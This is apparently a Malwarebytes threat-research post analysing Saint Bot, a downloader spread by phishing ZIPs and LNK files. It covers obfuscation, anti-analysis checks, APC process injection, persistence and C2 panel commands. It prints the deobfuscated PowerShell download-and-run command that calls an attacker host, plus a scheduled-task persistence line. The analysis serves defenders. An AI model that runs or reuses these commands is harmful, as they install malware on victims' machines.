This post was authored by Hasherezade with contributions from Hossein Jazi and Erika Noerenberg

In late March 2021, Malwarebytes analysts discovered a phishing email with an attached zip file containing unfamiliar malware. Contained within the zip file was a PowerShell script masquerading as a link to a Bitcoin wallet. Upon analysis, the obfuscated PowerShell downloader initiated a chain of infection leading to a lesser-known malware called Saint Bot. It turned out that the same malware was also distributed in targeted campaigns against government institutions. For example, we found a COVID19-themed campaign targeting Georgia, where the malicious LNK file was accompanied with a malicious document, and a decoy PDF. Both droppers lead to Saint Bot instances [1] [2].

Saint Bot is a downloader that appeared quite recently, and slowly is getting momentum. It was seen dropping stealers (i.e. Taurus Stealer, or a simple AutoIt-based stealer) as well as further loaders (example). Yet its design allows to utilize it for distributing any kind of malware. Although currently it does not appear to be widespread, there is indication that it is being actively developed. Furthermore, Saint Bot employs a wide variety of techniques which, although not novel, indicate some level of sophistication considering its relatively new appearance.

In this post, we provide a detailed deep-dive of this malware, covering in-depth analysis of the threat from distribution through post-exploitation. In addition to behavioral analysis, we will explore other techniques employed across the stages of infection including obfuscation and anti-analysis techniques, process injection, and command and control infrastructure and communication.


This analysis will be dedicated to a sample that we found distributed by a phishing e-mail. It comes with a ZIP attachment:, luring the victim with a chance of getting access to a Bitcoin wallet.

The Saint Bot delivery roadmap

Once we unzip the content, we are provided with a pair of files: one of them is a .lnk file that seemingly leads to a Bitcoin Wallet. It is accompanied with a .txt file, that claims to be a password to this wallet.

The .txt file says:

wallet in folder. 
 Use Electrum to download & save it on your side
 Password is:  privatemoney9999999usd
 Thank you

If we try to preview the .lnk via various tools available on Windows, it seems to lead to “C:\Windows\System32\cmd.exe”.

But a closer look inside reveals, that in reality what it contains is a malicious PowerShell script, meant to download the next stage of the malware from the embedded link:


Deobfuscated script:

&& C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1;
 ImPoRT-modULe bItsTRAnsFer; STArt-bITsTRANSFER -Source "('http://68468438438[.]xyz/soft/win230321.exe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;
 .('cd') ${eNv:TEMP};

The next stage binary is downloaded into the %TEMP% folder, under the name WindowsUpdate.exe, and run from there.

Behavioral analysis

Once run, the main sample drops another executable in the %TEMP% directory:


which then downloads two executables named: def.exe, and putty.exe. It saves them in %TEMP% , and tries to execute them with elevated privileges.

If run, the first sample (def.exe) deploys a batch script disabling Windows Defender. The second sample (named putty.exe) is the main malicious component.


The sample named putty.exe installs itself and creates a new directory in “AppData/Local” named “z_%USERNAME%”. It drops scripts meant to deploy its other components. The same directory also contains a copy of NTDLL, saved under the name “wallpaper.mp4”. This copy will be used by the malicious binary instead of the legitimate one.

The main sample is copied into the Startup directory under a name impersonating one of the legitimate executables found in the infected system:

The scripts from the “AppData/Local/z_[user]” are used to deploy the main sample. During the first run, the executable injects itself into “EhStorAurhn.exe“. Below we can see the injected implant detected and dropped by HollowsHunter.

Once the implant was injected, it connects to its Command-and-Control server (C2) and proceeds with its main actions. Observing the network traffic we will find the URL of the malware’s C2 queried repeatedly:


Following this URL we can see the related C2 panel, which looks typical for the Saint Bot:


The .NET downloader

The sample downloaded from the initial .lnk is a next stage downloader, written in .NET and obfuscated. It carries another .NET binary in its resources, stored as a bitmap.

The bitmap carries encrypted content

During the run, it decodes the next stage, which turns out to be a .NET DLL (a98e108588e31f40cdaeab1c04d0a394eb35a2e151f95fbf8a913cba6a7faa63)

Decoded array reveals the PE file

The DLL has an internal name zOAI.dll:

The loader invokes a method from the DLL:

Invoking the method inside the DLL: zOAI.CaCl.aXt()

The referenced method inside the DLL:

The content of the DLL is heavily obfuscated at bytecode level, and unreadable for typical tools such as dnSpy.

The DLL is run with the help of InstallUtil.exe (e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f) – which is a standard .NET Framework Installation utility – dropped into %TEMP% folder.

The deployed .NET binary is responsible for downloading and deploying two executables: the one disabling Windows Defender, and another, which is the main payload (in a packed form).

The dropped elements

Two executables are dropped in the %TEMP% directory:

The first one (def.exe) is just a batch script wrapped by the BatToExe tool. The script: Disable Window Defender.bat is meant to prepare the ground for the deployment of the main bot.

The other one (putty.exe) is the actual payload, packed by an underground crypter.

The unpacked payload

The final payload that is carried inside putty.exe can be dumped from the memory with the help of PE-sieve/HollowsHunter. As a result, we get the following unpacked sample: a4b705baac8bb2c0d2bc111eae9735fb8586d6d1dab050f3c89fb12589470969

The compilation timestamp indicates that the payload is pretty fresh – from March of this year.



Looking inside we can see that the sample is mildly obfuscated. Majority of the strings are encoded in a way reminding of a simple substitution cipher.

Only few strings are left in plaintext – including URLs to connect, but also some commands prefixed with “de”, i.e. “de:LoadMemory”, “de:regsvr32”, “de:LL”. We can also see the hardcoded panel URL: “/testcp1/gate.php”.

Some (but not all) of the strings can be deobfuscated with the help of the FLOSS tool. We can find out there the name and the version of this malware: “saint_v3” – which indicates the “Saint Bot version 3”.

The rest of the strings has been deobfuscated with the help of libPeConv (decoder’s source here). Full list (along with their offsets) is available here.

API calls

API functions are loaded dynamically, using the names that are decoded just before use:

They can be deobfuscated with the help of various approaches, i.e. by filling their names basing on the deobfuscated strings. They can be also traced automatically at the execution time, i.e. with the help of TinyTracer. Sample result:

API calls tagged with TinyTracer

Another, simpler (yet more invasive) way of deobfuscation is by rebuilding the Import Table within the PE to include the dynamically added functions. We can do it by dumping the same binary i.e. with PE-sieve, with the option of full Import Table reconstruction ( /imp 3). Yet we have to remember that this method may be less accurate in some cases: in contrast to tracing, it won’t help to deobfuscate calls that are made i.e. via registers.

Imports reconstructed with PE-sieve

Execution flow

The sample has 3 alternative execution paths:

  1. Install itself
  2. Inject itself into EhStorAurhn.exe
  3. Communicate with the C2 and proceed with the main operations

Before it proceeds with any action, a set of environment checks is performed.

Defensive checks

The sample defends itself against being executed in a controlled (or otherwise forbidden) environment by performing a number of checks. In case any forbidden condition is detected, the sample drops and deploys del.bat script that is supposed to delete it after the execution finish. After that the sample terminates.

Among the environment checks we can find a locale check. This is very common in case the sample is intended to avoid attacking certain countries.

In current case 7 locales are blacklisted:

  • 1049 – Russian
  • 1058 – Ukrainian
  • 1059 – Belarusian
  • 1067 – Armenian – Armenia
  • 1087 – Kazakh
  • 2072 – Romanian
  • 2073 – Russian – Moldova

It also queries the registry searching for keys typical for virtual environments. Queried registry key: “SYSTEM\CurrentControlSet\Services\disk\Enum” has its values checked against the list: QEMU, VIRTIO, VMWARE, VBOX, XEN.

Note that the checks are gathered all in one function, and thanks to this fact they can be easily patched out of the sample to make the analysis easier.

Mutex and persistence

The malware prevents itself from being deployed more than once by creating the mutex “saint_v3”.

If the mutex already exists, the program exits with an error. Otherwise it proceeds with installing its persistence. It sets a run key in “\Software\Microsoft\Windows\CurrentVersion\Run” as well as a scheduled task named “Maintenance”.

‘/create /sc minute /mo 5 /tn “Maintenance” /tr “C:\Users\%USERNAME%\AppData\Local\z_%USERNAME%\%USERNAME%.vbs” /F’

Process injection

The malware injects itself into a newly created process “C:\Windows\System32\EhStorAuthn.exe”.

It writes its payload into the process using ZwWriteVirtualMemory and then executes it with the help of NtQueueApcThread and ZwAlertResumeThread. This is a variant of a well known injection involving adding a start routine into APC Queue of the main thread. It uses low-level versions of the dedicated APIs, exported by NTDLL.

The less typical twist in this technique lies in the fact that it does not use the original NTDLL, but its renamed copy – the one that it previously dropped as wallpaper.mp4. This is one of a simple (and pretty naive) tricks that aim to make detection more difficult. It bases on the assumption that monitoring tools may have installed hooks inside the original NTDLL . By using a renamed copy of this DLL, the authors tried to prevent the called APIs from being watched by those hooks. In this case the APIs that they tried to hide are the ones related to code injection.

Communication with the C2

The malware comes with addresses of C2 servers hardcoded, as well as the address of the gate. The name of the browser agent is also hardcoded, in obfuscated form: “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 YaBrowser/15.10.2454.3865 Safari/537.36

The bot keeps querying the C2 and waiting for the commands. Sample beacon:


Which decodes to a list of parameters collected from the infected machine, for example:

transfer=-994429369___admin___Windows 7 Professional___IE___x32___1___Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz___3___Standard VGA Graphics Adapter___High___24'

The content sent to/from the C2 is obfuscated by the same algorithm as the internal strings – referenced as decode_wstring – but with a different parameter: -7 (7 for encode, -7 to decode) instead of -6. The received data is first being decoded, and then split by a delimiter “\” into a list of commands.

The list of commands processed is very small. Some of them come with a distinctive prefix “de:“.

Sample response:


And the same response decoded:


Which means: download the executable from the given link, drop it in “ProgramData” directory, and execute.

As the choice of commands shows, the role of this bot is to deliver further payloads to the infected machine.

The Panel

It is always beneficial to compare what we observed by the analysis of the bot, with the server-side implementation of the same actions. In this case it happens to be possible as we gained access to the leaked source of the panel.


The panel of this bot is very small.

The main view:

The list of available bots comes with minimalist details about every victim machine, such as Username, IP, OS, Architecture, Privileges with which the bot was deployed, Country, First and last timestamp of the communication with the C2, and deployed Actions.

Task panel allows to send commands to the bots:

In this case, the list of commands is very small, as the Saint Bot serves as a downloader for other malware. The available tasks are:

  • Download&Execute (other payloads)
  • Update (the Saint Bot)
  • Uninstall

In addition we can set several additional options to where the downloaded payload should be dropped. Three drop directories are supported: ProgramData, AppData, Temp:

The operator can also set various filters, defining on which of the infected machines the payloads will be dropped:

The list of payloads served by the examined instance point to files uploaded at Discord:


The code

Like most malware panels, this one is written in PHP, with an SQL database under the hood. The module responsible for sending the tasks to the bot is named: tasks.php. We can find the same commands we observed by analyzing the executable’s code. Three types of tasks:

  • de – which stands for: Download&Execute
  • update
  • uninstall

We can also find the available parameters, also correlating with the parameters hardcoded in the previously analyzed executable.

  • regsvr32 – stands for: download a DLL and run it via regsvr32
  • ll – stands for: download a DLL and run it via LoadLibrary
  • file – run from a dropped file
  • mem – stands for manually load and inject into a process

Some parameters are further translated, which make them a matching set with the commands that were visible in the bot’s code:

So, for the “de” option we get:

  • de:LL
  • de:LoadMemory
  • de:regsvr32

Compared with the commands from the previous analysis part:

Once the task is created, it is added to the database, to be polled and executed further:


This bot is fairly new and is evolving slowly and steadily. The earliest version found by the similar artifacts was compiled in January (0481edd888e70087115d603ac5c18fe3e15420a28a71bc1ef753d74c27474e9a ). It came with the same set of commands, yet slightly rewritten code.

Command processing function from the February edition

It used a mutex “saint2021_NewGeneration” suggesting that this bot went through some major changes since the beginning of this year.

The associated panel suggested that the version using this mutex was numbered as 2.0 (credits: @siri_urz)

Yet another downloader

Saint Bot is yet another tiny downloader. We suspect it is being sold as a commodity on one of the darknet forums, and not linked with any specific actor. It is not as mature as SmokeLoader, but quite new, and currently actively developed. The author seems to have some knowledge of malware design, which is visible by the wide range of techniques used. Yet, all the deployed techniques are well-known and pretty standard, not showing much creativity so far. Will it become the next wide-spread downloader or disappear from the landscape, pushed away by some other, similar products? We have yet to see.

Indicators of Compromise

Initial dropper (.lnk)


Next stage .NET dropper


.NET downloader


Saint Bot (packed)


Saint Bot core


Downloader domain


C2 servers